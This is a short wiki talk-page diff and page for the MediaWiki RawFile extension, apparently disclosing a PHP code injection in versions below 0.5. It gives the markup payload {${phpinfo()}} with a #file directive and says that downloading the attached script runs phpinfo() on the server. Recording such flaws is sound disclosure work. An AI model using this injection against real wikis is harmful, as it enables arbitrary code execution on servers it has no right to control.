Difference between revisions of "Talk:Mediawiki RawFile"
Jump to navigation
Jump to search
m |
m |
||
| Line 1: | Line 1: | ||
| + | Testing PHP code injection on Rawfile < 0.5 : |
||
| − | Tests... |
||
| + | <br>Adding this code to a wikipage: |
||
| − | |||
| + | <pre> |
||
<nowiki>{${phpinfo()}}</nowiki> |
<nowiki>{${phpinfo()}}</nowiki> |
||
[{{#file: myscript.sh}} as myscript.sh] |
[{{#file: myscript.sh}} as myscript.sh] |
||
| Line 9: | Line 10: | ||
exit 0 |
exit 0 |
||
</source> |
</source> |
||
| + | </pre> |
||
| + | and trying to download myscript.sh will execute phpinfo() on the server. |
||
Revision as of 15:54, 13 February 2014
Testing PHP code injection on Rawfile < 0.5 :
Adding this code to a wikipage:
{${phpinfo()}}
[{{#file: myscript.sh}} as myscript.sh]
<source lang=bash>
#!/bin/bash
echo 'Hello world!'
exit 0
</source>
and trying to download myscript.sh will execute phpinfo() on the server.